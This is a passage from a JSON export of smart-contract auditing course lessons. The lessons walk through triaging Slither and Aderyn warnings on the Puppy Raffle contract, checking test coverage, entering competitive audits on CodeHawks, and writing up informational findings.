\n\n ---\n\n Now, you may be asking yourself _These are reentrancy, why aren't they high!?_.\n\nWell, these warnings are specifically pointing to the vulnerability described by the manipulation of the order or value of events being emitted. By reentering these functions an attacker is able to manupulate the events being emitted and potentially compromise third party reliance on them.\n\nThere's a lot of debate about what kind of severity should be ascribed to event based findings, but my personal rule of thumb is that they are _at least_ `Low Severity`. Examples include:\n\n- If an event can be manipulated\n- If an event is missing\n- If an event is wrong\n\nI would add these to my notes for an audit report.\n\n```js\n// @Audit: Low - Events affected by reentrancy\n```\n\nWe can remove these warnings from `Slither` by navigating to the reported lines and adding the following as appropriate:\n\n```js\n// slither-disable-next-line reentrancy-events\n```\n\nIn your refund function, you may try to disable 2 checks for the same line. In order to do this, separate your ignore directives with a comma:\n\n```js\n// slither-disable-next-line reentrancy-no-eth, reentrancy-events\n```\n\n**3. Uses Timestamp for Comparisons**\n\n- Dangerous Calls:\n - `require(bool, string)(block.timestamp >= raffleStartTime + raffleDuration, PuppyRaffle: Raffle not over) (src/PuppyRaffle.sol#136)`\n\nTechnically relying on `block.timestamp` means this _would_ be vulnerable to manipulation, but realistically only by a few seconds. For the purposes of this section we'll ignore it for now.\n\nYou can have `Slither` ignore it too with:\n\n```js\n// slither-disable-next-line timestamp\n```\n\n**4. Uses Assembly**\n\n- Dangerous Calls:\n - `INLINE ASM (lib/base64/base64.sol#28-63)`\n - `INLINE ASM (lib/base64/base64.sol#84-126)`\n - `INLINE ASM (lib/openzeppelin-contracts/contracts/utils/Address.sol#33)`\n - `INLINE ASM (lib/openzeppelin-contracts/contracts/utils/Address.sol#180-183)`\n\nIn short - Slither doesn't like Assembly. We'll be going over Assembly much later in this course, for now we'll be ignoring these warnings.\n\nYou can remove these detectors/warnings by adding the following to the appropriate lines:\n\n```js\n// slither-disable-next-line assembly\n```\n\n**5. Different Versions of Solidity Are Used**\n\n- Dangerous Calls:\n\n -
\n Call Summary\n\n - `Version used: ['>=0.6.0', '>=0.6.0<0.8.0', '>=0.6.2<0.8.0', '^0.7.6']`\n - `>=0.6.0 (lib/base64/base64.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/access/Ownable.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/introspection/ERC165.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/introspection/IERC165.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/math/SafeMath.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/utils/Context.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/utils/EnumerableMap.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/utils/EnumerableSet.sol#3)`\n - `>=0.6.0<0.8.0 (lib/openzeppelin-contracts/contracts/utils/Strings.sol#3)`\n - `>=0.6.2<0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol#3)`\n - `>=0.6.2<0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Enumerable.sol#3)`\n - `>=0.6.2<0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Metadata.sol#3)`\n - `>=0.6.2<0.8.0 (lib/openzeppelin-contracts/contracts/utils/Address.sol#3)`\n - `^0.7.6 (src/PuppyRaffle.sol#2)`\n\n
\n\nThis is where `Slither` is pointing out the `Floating Pragma` vulnerability we outlined earlier. This will definitely be going in our report as an informational finding.\n\nUnfortunately `Slither` doesn't offer a per-file or line disabling of this detector, but we can remove it by adding the following to a `.slither.config.json` that we create:\n\n```js\n\n\"detectors_to_exclude\":[\n \"solc-version\"\n]\n\n```\n\nThen add this line to the appropriate files:\n\n```js\n// slither-disable-next-line pragma,solc-version\n```\n\n**6. solc 0.7.6 is not Recommended for Deployment**\n\n- Dangerous Calls:\n - `PuppyRaffle.sol solc version 0.7.6`\n\nSlither's documentation tells us that this is an old version of Solidity and that we're not taking advantage of Solidity updates or new security checks. This is a great finding and should definitely be added to our report.\n\n```js\n// @Audit: Info - Should use updated solv version such as 0.8.18\n```\n\n**7. {function} is Never Used and Should be Removed**\n\n- Dangerous Calls\n - `PuppyRaffle._isActivePlayer() (src/PuppyRaffle.sol#180-187)`\n\nWe called this one out as an informational/gas finding as well. You can disable this detector in `Slither` by adding this line above the function:\n\n```js\n// slither-disable-next-line dead-code\n```\n\n**8. Low Level Call**\n\n- Dangerous Calls:\n\n -
\n Call Summary\n\n - `(success) = recipient.call{value: amount}() (lib/openzeppelin-contracts/contracts/utils/Address.sol#60)`\n - `(success,returndata) = target.call{value: value}(data) (lib/openzeppelin-contracts/contracts/utils/Address.sol#128)`\n - `(success,returndata) = target.staticcall(data) (lib/openzeppelin-contracts/contracts/utils/Address.sol#156)`\n - `(success,returndata) = target.delegatecall(data) (lib/openzeppelin-contracts/contracts/utils/Address.sol#183)`\n - `(success) = winner.call{value: prizePool}() (src/PuppyRaffle.sol#154)`\n - `(success) = feeAddress.call{value: feesToWithdraw}() (src/PuppyRaffle.sol#167)`\n
\n\n---\n\nMuch like Assembly, `Slither` doesn't like low level calls. We'll be ignoring these for now, but you can remove them from your warnings by applying this line above the described calls.\n\n```js\n// slither-disable-next-line low-level-calls\n```\n\n**9. Not in mixedCase**\n\n- Dangerous Calls:\n - `Parameter Base64.decode(string)._data (lib/base64/base64.sol#68)`\n - `Parameter ERC721.safeTransferFrom(address,address,uint256,bytes)._data (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#247)`\n\nThese are simply pointing out naming convention concerns in a couple of our libraries. We'll ignore these as well, but you can remove them from the `Slither` warnings with:\n\n```js\n// slither-disable-next-line naming-convention\n```\n\n**10. Redundant Expression**\n\n- Dangerous Calls:\n - `\"this (lib/openzeppelin-contracts/contracts/utils/Context.sol#21)\" inContext (lib/openzeppelin-contracts/contracts/utils/Context.sol#15-24)`\n\nAnother warning from a depedency of ours, we'll ignore this, but if you want to remove it you can add the line:\n\n```js\n// slither-disable-next-line redundant-statements\n```\n\n**11. Variable is Too Similar**\n\n- Dangerous Calls\n - `Base64.TABLE_DECODE (lib/base64/base64.sol#10-13) is too similar to Base64.TABLE_ENCODE (lib/base64/base64.sol#9)`\n\n**_ANOTHER_** warning from the libraries we're using. We can remove it with this line:\n\n```js\n// slither-disable-next-line similar-names\n```\n\nNow, at this point, you're probably annoyed by all the libraries `Slither` has been catching things in. What if I told you there's a better way to exclude them all at once?!\n\nBy running `Slither . --exclude-dependencies` we can actually run our tool and have it ignore anything detected in our imports!\n\n**12. Cached Array Length**\n\n- Dangerous Calls:\n - `Loop condition j < players.length (src/PuppyRaffle.sol#90)`\n - `Loop condition i < players.length (src/PuppyRaffle.sol#114)`\n - `Loop condition i < players.length (src/PuppyRaffle.sol#182)`\n\nHere's a vulnerability we missed!\n\nAny time we're looping through players.length in this way, we're using far more gas than should be necessary. We should cache this value so we're only calling it from storage once.\n\n```js\n// @Audit: We should cache the players.length array when looping - uint256 playersLength = players.length;\n```\n\nWe can remove this warning from the `Slither` report by adding this line before our loops:\n\n```js\n// slither-disable-next-line cache-array-length\n```\n\n**13. Storage Variables can be Declares Constant**\n\n- Dangerous Calls:\n - `PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#40)`\n - `PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#50)`\n - `PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#45)`\n\nA great finding, absolutely these storage variables should be constants, we're setting them once and they never change, a big potential gas savings.\n\n```js\n// @Audit: These Storage Variables can be Constants\nstring private commonImageUri = \"ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8\"\nstring private rareImageUri = \"ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW\";\nstring private legendaryImageUri = \"ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU\";\n```\n\nWe can filter these warnings from our `Slither` report with the line:\n\n```js\n// slither-disable-next-line\n```\n\n**14. State Variables can be Immutable** - Dangerous Calls: - `PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#25)`\n\nLikewise, this is a great call by `Slither` our raffleDuration is being set once and cannot be changed. Setting this to immutable would offer additional gas savings. Absolutely added to the report.\n\n```js\n// @Audit: Unchanging state variables can be declared as immutable\nuint256 public raffleDuration;\n```\n\nThis warning can be removed from the `Slither` report with:\n\n```js\n// slither-disable-next-line immutable-states\n```\n\n### Wrap Up\n\nWow. This may have seemed a bit tedious, but look how much we've found and how much better we understand what `Slither` is able to detect. `Slither`, if nothing else, is great at finding gas optimizations, but beyond that it found issues we thought we needed to manually review for.\n\nHad PuppyRaffle ran `Slither` before coming to audit, their code base would have been in a much better starting place.\n\nUp next, let's see what `Aderyn` can do for Puppy Raffle!\n", + "updates": [] + }, + { + "lessonId": "3968e2b8-4bc5-445c-83f8-2841f2eb3ae3", + "number": 41, + "title": "Aderyn walkthrough", + "slug": "aderyn-walkthrough", + "folderName": "41-aderyn-walkthrough", + "description": "", + "duration": 3, + "videoUrl": "jCUWPhEGzeaIcp5dJhEw4g7l8aJ4NOf00CgKD5G7Cq00Q", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/41-aderyn-walkthrough/+page.md", + "markdownContent": "---\ntitle: Aderyn Walkthrough\n---\n\n_Follow along with this video:_\n\n---\n\n### Aderyn Static Analysis\n\nNext, let's see what `Aderyn` can do for the Puppy Raffle repo. We'll assess each of the findings in turn. Some of which will include:\n\n- Centralization Risks\n- Dynamic Types & abi.encodePacked\n- Non-Indexed Events\n\nWe can start by running `aderyn .`. This should generate an already formatted markdown report for us. Once run, open `report.md`\n\n### Aderyn Mediums\n\n**1. Centralization Risk for Trusted Owners**\n\n- Dangerous Calls: - Found in src/PuppyRaffle.sol [Line: 180](src/PuppyRaffle.sol#L180)\n\n ```solidity\n function changeFeeAddress(address newFeeAddress) external onlyOwner {\n ```\n\n This vulnerability is likely to crop up more and more as time goes on, unfortunately. In the context of Puppy Raffle, we're going to ignore it, all the owner can really do is change the feeAddress. This is absolutely something that should be called out in private audits.\n\n### Aderyn Lows\n\n**1. `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`**\n\n- Dangerous Calls: - Found in src/PuppyRaffle.sol [Line: 213](src/PuppyRaffle.sol#L213)\n\n ```solidity\n abi.encodePacked(\n ```\n\n - Found in src/PuppyRaffle.sol [Line: 217](src/PuppyRaffle.sol#L217)\n\n ```solidity\n abi.encodePacked(\n ```\n\n `Aderyn` here is pointing out that we should only use `encodePacked` for appropriate circumstances and that `encode` should be preferred to avoid hash collisions. We're going to ignore this for the purposes of this course, but I encourage you to investigate further to understand the reasoning here and find examples of hash collisions yourself.\n\n**2. Solidity pragma should be specific, not wide**\n\n- Dangerous Calls: - Found in src/PuppyRaffle.sol [Line: 3](src/PuppyRaffle.sol#L3)\n\n ```solidity\n pragma solidity ^0.7.6;\n ```\n\n We got this one! This is the same as our `Floating Pragma` finding.\n\n### Aderyn Informational/Gas\n\n**1. Missing checks for `address(0)` when assigning values to address state variables**\n\n- Dangerous Calls: - Found in src/PuppyRaffle.sol [Line: 69](src/PuppyRaffle.sol#L69)\n\n ```solidity\n feeAddress = _feeAddress;\n ```\n\n - Found in src/PuppyRaffle.sol [Line: 159](src/PuppyRaffle.sol#L159)\n\n ```solidity\n previousWinner = winner;\n ```\n\n - Found in src/PuppyRaffle.sol [Line: 182](src/PuppyRaffle.sol#L182)\n\n ```solidity\n feeAddress = newFeeAddress;\n ```\n\n We got this one! `zero address checks` wil be a common topic in security reviews you do. Familiarize yourself with spotting them!\n\n**2. Functions not used internally could be marked external**\n\n- Dangerous Calls: - Found in src/PuppyRaffle.sol [Line: 86](src/PuppyRaffle.sol#L86)\n\n ```solidity\n function enterRaffle(address[] memory newPlayers) public payable {\n ```\n\n - Found in src/PuppyRaffle.sol [Line: 105](src/PuppyRaffle.sol#L105)\n\n ```solidity\n function refund(uint256 playerIndex) public {\n ```\n\n - Found in src/PuppyRaffle.sol [Line: 205](src/PuppyRaffle.sol#L205)\n\n ```solidity\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n ```\n\n Puppy Raffle has these function marked as `public`, which is _fine_, but if they aren't used internally as well as externally, we can just mark them as `external` for a small gas savings.\n\n> **Note:** In the video, I assume this is referencing the `_getActivePlayer` function that is unused. Whoops!\n\n**3. Constants should be defined and used instead of literals**\n\n- Dangerous Calls - Found in src/PuppyRaffle.sol [Line: 94](src/PuppyRaffle.sol#L94)\n `solidity\n for (uint256 i = 0; i < players.length - 1; i++) {\n `\n\n - Found in src/PuppyRaffle.sol [Line: 96](src/PuppyRaffle.sol#L96)\n\n ```solidity\n for (uint256 j = i + 1; j < players.length; j++) {\n ```\n\n - Found in src/PuppyRaffle.sol [Line: 141](src/PuppyRaffle.sol#L141)\n\n ```solidity\n uint256 prizePool = (totalAmountCollected * 80) / 100;\n ```\n - Found in src/PuppyRaffle.sol [Line: 142](src/PuppyRaffle.sol#L142)\n\n ```solidity\n uint256 fee = (totalAmountCollected * 20) / 100;\n ```\n - Found in src/PuppyRaffle.sol [Line: 148](src/PuppyRaffle.sol#L148)\n\n ```solidity\n uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;\n ```\n\n `Aderyn` was a little too vigilant here, catching the `Magic Numbers` used in our for loops, but it also caught a `Magic Numbers` in the `prizePool` and `fee` calculations as well! We got this one earlier.\n\n**4. Event is missing `indexed` fields**\n\n- Dangerous Calls: - Found in src/PuppyRaffle.sol [Line: 59](src/PuppyRaffle.sol#L59)\n\n ```solidity\n event RaffleEnter(address[] newPlayers);\n ```\n\n - Found in src/PuppyRaffle.sol [Line: 60](src/PuppyRaffle.sol#L60)\n\n ```solidity\n event RaffleRefunded(address player);\n ```\n\n - Found in src/PuppyRaffle.sol [Line: 61](src/PuppyRaffle.sol#L61)\n\n ```solidity\n event FeeAddressChanged(address newFeeAddress);\n ```\n\n Indexing fields ultimately makes it easier for off-chain tools to access the emitted event data. Indexing event parameters costs more gas however, so there's a trade-off. Not using indexed fields could be defended as a design choice, but in an ideal world, they would be indexed.\n\n### Wrap Up\n\nThat was quick! `Aderyn` is great in that this output is already formatted beautifully and we could reasonably just copy and paste it's finding into our report. Going through the outlined issues is a good practice however, as these static analysis tools paint with wide strokes and not everything caught may be applicable or valid.\n", + "updates": [] + }, + { + "lessonId": "f012efb6-1547-4ce9-add5-cfcf024f0730", + "number": 42, + "title": "Test coverage", + "slug": "test-coverage", + "folderName": "42-test-coverage", + "description": "", + "duration": 1, + "videoUrl": "JbFWxsW4022U1kVcBMt00K3To7nnnWPrCAjYc5DaQMnKI", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/42-test-coverage/+page.md", + "markdownContent": "---\ntitle: Test Coverage\n---\n\n_Follow along with this video:_\n\n---\n\n### Checking Coverage\n\nAlright! Let's see where we're at in our roadmap\n\n```\nSlither ✅\nAderyn ✅\nCode Quality/Tests\n---\nReporting\n- Competitive Audits\n - Submit a finding\n- Puppy Raffle Report incl. PoC\n```\n\nTest coverage is up next, this should be easy.\n\n> **Remember:** you can check test coverage with the command `forge coverage`.\n\n\n\nThis is ... pretty bad. In the context of a competitive audit, this may be less important, but in a private audit we should absolutely be calling this out as an informational. Assuring a repo has an adequate test coverage helps a protocol avoid overlooking areas of their code.\n\nIn the next lesson, we'll be going over some details to ready ourselves for writing this report. Exciting!\n", + "updates": [] + }, + { + "lessonId": "605f8320-1990-46eb-9a42-8ec0f0b978a5", + "number": 43, + "title": "Phase 4: Reporting primer", + "slug": "phase-4-reporting-primer", + "folderName": "43-phase-4-reporting-primer", + "description": "", + "duration": 3, + "videoUrl": "Jsp4X635wKDgIIYVDaoduT02qoDZgaQMvikfwJsy49PY", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/43-phase-4-reporting-primer/+page.md", + "markdownContent": "---\ntitle: Phase 4 Reporting - Primer\n---\n\n_Follow along with this video:_\n\n---\n\n### Writing the Report\n\nAs was mentioned before - you can always look at one more line of code, but at some point, you got to _write the report_.\n\nNow, we're satisfied with our review, we're happy with the job we did. Lets write things up. We're going to go through the report together again as this is a crucial skill for your future security researcher career.\n\nIn audits and especially in bug bounties, it is your obligation to convince the protocol of the importance of your finding and the need for it to be fixed. Writing detailed and thorough audit reports is the avenue through which we do this.\n\nBUT. Before we walkthrough another report, I want to introduce you to competitive audits. We're going to go over what they are, how they differ from private audits and how to submit a finding for them.\n\n\n\n---\n\nFor now - if you've been binging this course, I want you to pause and go for a walk. It's time to take a break and reward ourselves for how far we've come. We've learnt so much, and we've so much more to go.\n\nSee you after your break!\n", + "updates": [] + }, + { + "lessonId": "ecc11bfc-759f-4cd7-9056-9de865bdbb07", + "number": 44, + "title": "What is a competitive audit?", + "slug": "what-is-a-competitive-audit", + "folderName": "44-what-is-a-competitive-audit", + "description": "", + "duration": 5, + "videoUrl": "dsk3T5vbxU02jH492Jcf9ZY8fWsTRw01Rm00rOn02CNzXBo", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/44-what-is-a-competitive-audit/+page.md", + "markdownContent": "---\ntitle: What is a Competitive Audit?\n---\n\n_Follow along with this video:_\n\n---\n\n### Competitive vs Private Audits\n\nBefore we get to our report, I want to illustrate what a competitive audit is, and how it may differ from a private audit.\n\n**_What is a competitive audit?_**\n\nUnlike a private audit, where a single security researcher (or a small team) would be working with a protocol directly, a competitive audit sees a protocol making their code base publicly available and having people compete to find vulnerabilities within it.\n\nI encourage you to checkout some of the past competitive audits on [**CodeHawks**](https://www.codehawks.com/contests), you can click 'View Final Report' To see a compilation of all the findings in a contest, who found it etc.\n\nIn a competitive audit, you're competing to find _bugs_, you're paid if you find vulnerabilities.\n\nWe can see how these payouts work by looking at the [**CodeHawks Docs**](https://docs.codehawks.com/). Findings rewards are ultimately broken down into shares and severity, where the system rewards finding more unique, difficult to find bugs.\n\n\n\nYou can also find examples of scenarios and calculations on the [**CodeHawks Docs**](https://docs.codehawks.com/hawks-auditors/payouts).\n\n**_How good are competitive audits?_**\n\nThe quality of competitive audits has been found to be - incredible. To use a past contest on CodeHawks as an example, the Beedle-Fi audit resulted in a staggering number of findings.\n\n\n\nSecurity reviews of this nature consistently find more bugs that private reviews _and_ they serve as the perfect platforms to gain experience and build your security researcher career.\n\nMany top security researchers started their careers in this space, and continue to compete in competitive audits throughout.\n\nCompetitive audits are a tonne of fun, you can learn lots and of course you can win money.\n\n**_How do I start with competitive audits?_**\n\nI'm glad you asked! CodeHawks hosts events called [**First Flights**](https://www.codehawks.com/first-flights), and we're going to have you do some of these!\n\nFirst Flights are simplified code bases (just like Puppy Raffle) that have been built specifically to ease newcomers into the auditing process, familiarize them with how competitive audits work and afford auditors an effective avenue through which to learn and grow their skills with real world experience.\n\nOne additional benefit to using competitive audits as a platform to improve your skills is, once one concludes, all the validated findings are viewable, allowing an auditor to see which vulnerabilities they missed and how others are reporting their findings. This is hugely valuable for those looking to expand their skills.\n\nIn the next lesson we'll sign up for CodeHawks together!\n", + "updates": [] + }, + { + "lessonId": "9c485ab8-c99e-4dec-8dfc-267bdf536d45", + "number": 45, + "title": "Codehawks", + "slug": "codehawks", + "folderName": "45-codehawks", + "description": "", + "duration": 3, + "videoUrl": "dfOozck01i7mh194rjsDXe9K02XLvi7UQgIO8Qd02zqYU8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/45-codehawks/+page.md", + "markdownContent": "---\ntitle: CodeHawks\n---\n\n_Follow along with this video:_\n\n---\n\n### Getting Ready to Compete\n\nWith a better understanding of what a competitive audit is, I'll tell you - you have the skills _right now_ to start competing and start participating in some of these contests, especially First Flights.\n\nDon't hesitate to jump in and get as much experience actually going through these processes as you can.\n\n### Sign Up\n\nYour first step, of course will be to sign up to CodeHawks and create an account. You can begin by clicking `Become a Hawk` on the [**CodeHawks Homepage**](https://www.codehawks.com/)\n\n\n\nConnect the browser wallet of your choice when prompted and then fill out your profile information.\n\n\n\n> **Note:** CodeHawks pays out on Arbitrum in USDC, so ensure you're using an EVM compatible wallet to receive rewards!\n\nOnce your details are entered, click the `Sign Up` button at the bottom, your wallet will pop up and you'll be prompted to sign a transaction (no fees).\n\nYou'll then receive a notification to verify your email, but following that **you're all done!** That's all it takes to get started with participating in competitive audits on the CodeHawks platform, and you already possess the basic skills to get involved.\n\nLet's go over how to submit a finding in a competitive audit so you're truly prepared to jump in!\n", + "updates": [] + }, + { + "lessonId": "90ec3130-455a-483a-b279-35da3f014021", + "number": 46, + "title": "Submitting a competitive audit finding", + "slug": "submitting-a-competitive-audit-finding", + "folderName": "46-submitting-a-competitive-audit-finding", + "description": "", + "duration": 4, + "videoUrl": "X4Q9e4slmU9pL01rPBnKYmRGk2rtOM13FqBcATBlIRuE", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/46-submitting-a-competitive-audit-finding/+page.md", + "markdownContent": "---\ntitle: Submitting a Competitive Audit Finding\n---\n\n_Follow along with this video:_\n\n---\n\n### Submitting a Competitive Audit Finding\n\nWe've come a long way in this guide, and now it's time to learn how to submit your findings in a CodeHawks competitive audit. As you follow along with me, remember that your write-ups need to demonstrate your skills and abilities as a security researcher. The better quality they are, the more chances you stand to earn additional rewards.\n\n> **Note:** In this lesson we walkthrough submitting a finding in a CodeHawks First Flight. First Flights are held every two weeks generally, so if one isn't currently accepting submissions, be sure to come back!\n\nNavigate to an active CodeHawks First Flight and click the link `Submit a Finding`.\n\n\n\nSome of this should seem very familiar. We can enter a title and choose an appropriate severity.\n\n- The title of a competitive audit submission can omit the [S-#] categorization. This will ultimately be prepended by judges if the report is deemed valid.\n- Remember: a good title is comprised of Root Cause + Impact!\n\nFor `Relevant GitHub Links`, we're meant to provide a link, not just to the code base/contract, but to the specific lines we've identified as problematic. Using our DoS Vulnerability from `PuppyRaffle.sol` as an example, we can link directly to the loop in our `enterRaffle` function by right-clicking the line in GitHub and chooosing `copy permalink`.\n\n\n\nTake some time to view the README of the First Flight you're looking at. You'll find important information for the contest available such as:\n\n- Start/End dates and times\n- Prize Distributions\n- Audit Scope\n- Compatibilities\n- Roles\n\nNow we reach the `Finding` section of the submission. You'll see a basic template provided to you. It's entirely acceptable to overwrite this template and paste the reports formatted as we've learnt so far into this field.\n\nOnce our write up looks good, we can even select `Preview` at the top to see what it looks like with formatting applied.\n\n> **Note:** Proof of Concept/Code are nearly _mandatory_ to be considered a good submission.\n\nOnce you're satisfied with how things look, click `Submit Finding`. This should route you to `My Report` when you can see a summary of everything you've submitted for the audit so far. You can also make modifications to your submitted findings while the contest is open.\n\n### The Selected Report\n\nSomething to always strive for is quality in the write ups you submit. In competitive audits submitting a finding that is a duplicate with other auditors is common. Platforms will reward an attention to submission quality by choosing a `selected report`. This reports represent the best quality write up for a given vulnerability and these reports receive _bonus payouts_.\n\n\n\n### Wrap Up\n\nOnce a First Flight or Competitive Audit concludes, you'll be able to navitgate to `My Findings` in CodeHawks and download your submissions in markdown. It's worthwhile to add these to your portfolio to show your skills and experience to the world!\n\nThat's all there is to submitting to a competitive audit! From there a judge will take over. Be sure to sign up to CodeHawks, I promise you that participating in competitive audits and First Flights will supercharge your abilities as a security researcher.\n\nLet's start finally writing things up in the next lesson!\n", + "updates": [] + }, + { + "lessonId": "c7def483-fe9d-4db3-bcd1-33aa4330af86", + "number": 47, + "title": "Reporting templates", + "slug": "reporting-templates", + "folderName": "47-reporting-templates", + "description": "", + "duration": 3, + "videoUrl": "022dgMG01duWP2i9vBhErS01cnYDKAPvM8SCL93hjaT1bk", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/47-reporting-templates/+page.md", + "markdownContent": "---\ntitle: Reporting - Templates\n---\n\n_Follow along with this video:_\n\n---\n\n### Reporting Templates\n\nThroughout this course we have been, and will continue to use our [**audit-report-templating**](https://github.com/Cyfrin/audit-report-templating) repo to assist us with generating our final findings reports. I wanted to take a moment to make you aware of some alternatives, should you wish to try them out.\n\n### Cyfrin GitHub Report Template\n\n[**audit-repo-cloner**](https://github.com/Cyfrin/audit-repo-cloner)\n\nOn the Cyfrin team, we won't write up reports in markdown, we actually report our findings through issues directly on the GitHub repo, this is beneficial for collaborative situations. We use this repo cloner to prepare a repo for an audit by the Cyfrin team. From the README:\n\n```\nIt will take the following steps:\n\n1. Take the source repository you want to set up for audit\n2. Take the target repository name you want to use for the private --repo\n3. Add an issue_template to the repo, so issues can be formatted as audit findings, like:\n\n'''\n**Description:**\n**Impact:**\n**Proof of Concept:**\n**Recommended Mitigation:**\n**[Project]:**\n**Cyfrin:**\n'''\n\n4. Update labels to label issues based on severity and status\n5. Create an audit tag at the given commit hash (full SHA)\n6. Create branches for each of the auditors participating\n7. Create a branch for the final report\n8. Add the report-generator-template to the repo to make it easier to compile the report, and add a button in GitHub actions to re-generate the report on-demand\n9. Attempt to set up a GitHub project board\n```\n\n### Report Generator Template\n\n[**report-generator-template**](https://github.com/Cyfrin/report-generator-template)\n\nThis is a fork of the [**Spearbit Report Generator**](https://github.com/spearbit-audits/report-generator-template) and is used to consolidate issues/projects on a GitHub repo into a PDF Audit report.\n\nFrom the README:\n\n```\nThis repository is meant to be a single-step solution to:\n\n- Fetch all issues from a given repository\n- Sort them by severity according to their labels\n- Generate a single Markdown file with all issues sorted by descending severity\n- Integrate that Markdown file into a LaTeX template\n- Generate a PDF report with all the issues and other relevant information\n\n```\n\nThese tools/templates are especially great when working with a team. They save you from having to manually consolidate markdown write ups. If this is a method you'd like to try in your own auditing process, I encourage you to experiment and determine what works best for you!\n\nFor the purposes of this course, we'll continue with the methods we've been using thus far.\n\nNow, we won't _always_ be writing the reports together, but it's imperative that you put in the time to practice. The ability to create high quality reports is necessary for becoming a successful security researcher. Practice, get good at it. Get comfortable with `Proofs of Concept/Code`.\n\nLet's finally get to writing this one together though!\n", + "updates": [] + }, + { + "lessonId": "813dc962-8458-4d4d-9a82-8abf3d92639e", + "number": 48, + "title": "Reporting: Floating pragma", + "slug": "reporting-floating-pragma", + "folderName": "48-reporting-floating-pragma", + "description": "", + "duration": 2, + "videoUrl": "lnhM01BzVd3rWWQASg0000WHDbAFWNbR3jivlVTOvtQCv00", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/48-reporting-floating-pragma/+page.md", + "markdownContent": "---\ntitle: Reporting - Floating Pragma\n---\n\n_Follow along with this video:_\n\n---\n\n### Floating Pragma\n\nThe first finding we're going to add to our `findings.md` comes from our notes on `floating pragma`. Remember, we can look through the repo for notes we've left by searching for our `@Audit` tag.\n\nThis one should be easy for us as `Aderyn` caught it, and did most of the write up for us. Lets look at what `Aderyn` output.\n\n````\n## L-2: Solidity pragma should be specific, not wide\n\nConsider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`\n\n- Found in src/PuppyRaffle.sol [Line: 3](src/PuppyRaffle.sol#L3)\n\n\t```solidity\n\tpragma solidity ^0.7.6;\n\t```\n````\n\nAt this point you may wish to copy the [**finding_layout.md**](https://github.com/Cyfrin/4-puppy-raffle-audit/blob/audit-data/audit-data/finding_layout.md) template we've been following into your audit repo.\n\n`Aderyn's` output actually looks really great. I personally would rate this as an informational, so I'm going to make a few changes/formatting adjustments, but ultimately this is what it's going to look like, easy!\n\n````\n### I-1: Solidity pragma should be specific, not wide\n\nConsider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`\n\n- Found in src/PuppyRaffle.sol [Line: 3](src/PuppyRaffle.sol#L3)\n\n\t```solidity\n\tpragma solidity ^0.7.6;\n\t```\n````\n\nBe sure to note your finding as actioned in your code base notes, and lets move onto the next one!\n\n```js\n// report-written: use of floating pragma is bad!\n```\n", + "updates": [] + }, + { + "lessonId": "a347c526-6e3d-4572-a6ff-f4d920f10680", + "number": 49, + "title": "Reporting: Incorrect solc version", + "slug": "reporting-incorrect-solc-version", + "folderName": "49-reporting-incorrect-solc-version", + "description": "", + "duration": 2, + "videoUrl": "im9q1Wpc901UCiih1BLDZg6ewD6McHGyv5GzzxzDkNXU", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/49-reporting-incorrect-solc-version/+page.md", + "markdownContent": "---\ntitle: Reporting - Incorrect Solc Version\n---\n\n_Follow along with this video:_\n\n---\n\n### Incorrect Solc Version\n\nThe next finding we're going to write up is another `informational` it seems. We identified in an earlier lesson that Puppy Raffle is using an outdated version of Solidity!\n\nIn this circumstance, `Slither` caught this one for us. It can often be valuable to pull from the Slither Documentation for references and recommendations for these types of findings. To add this to our `findings.md` it would look something like this:\n\n```\n### [I-2] Using an Outdated Version of Solidity is Not Recommended\n\nsolc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.\nRecommendation\n\n**Recommendations:**\n\nDeploy with any of the following Solidity versions:\n\n 0.8.18\n\nThe recommendations take into account:\n\n Risks related to recent releases\n Risks of complex code generation changes\n Risks of new language features\n Risks of known bugs\n\nUse a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.\n\n```\n\nI'll mention as well, I know we have a finding template - and we'll absolutely use it soon - but for informational findings, they're often simplistic enough that being less verbose is acceptable.\n\nNext lesson - Next vulnerability!\n", + "updates": [] + }, + { + "lessonId": "1a7e975c-377d-4962-a28d-e9f95e774968", + "number": 50, + "title": 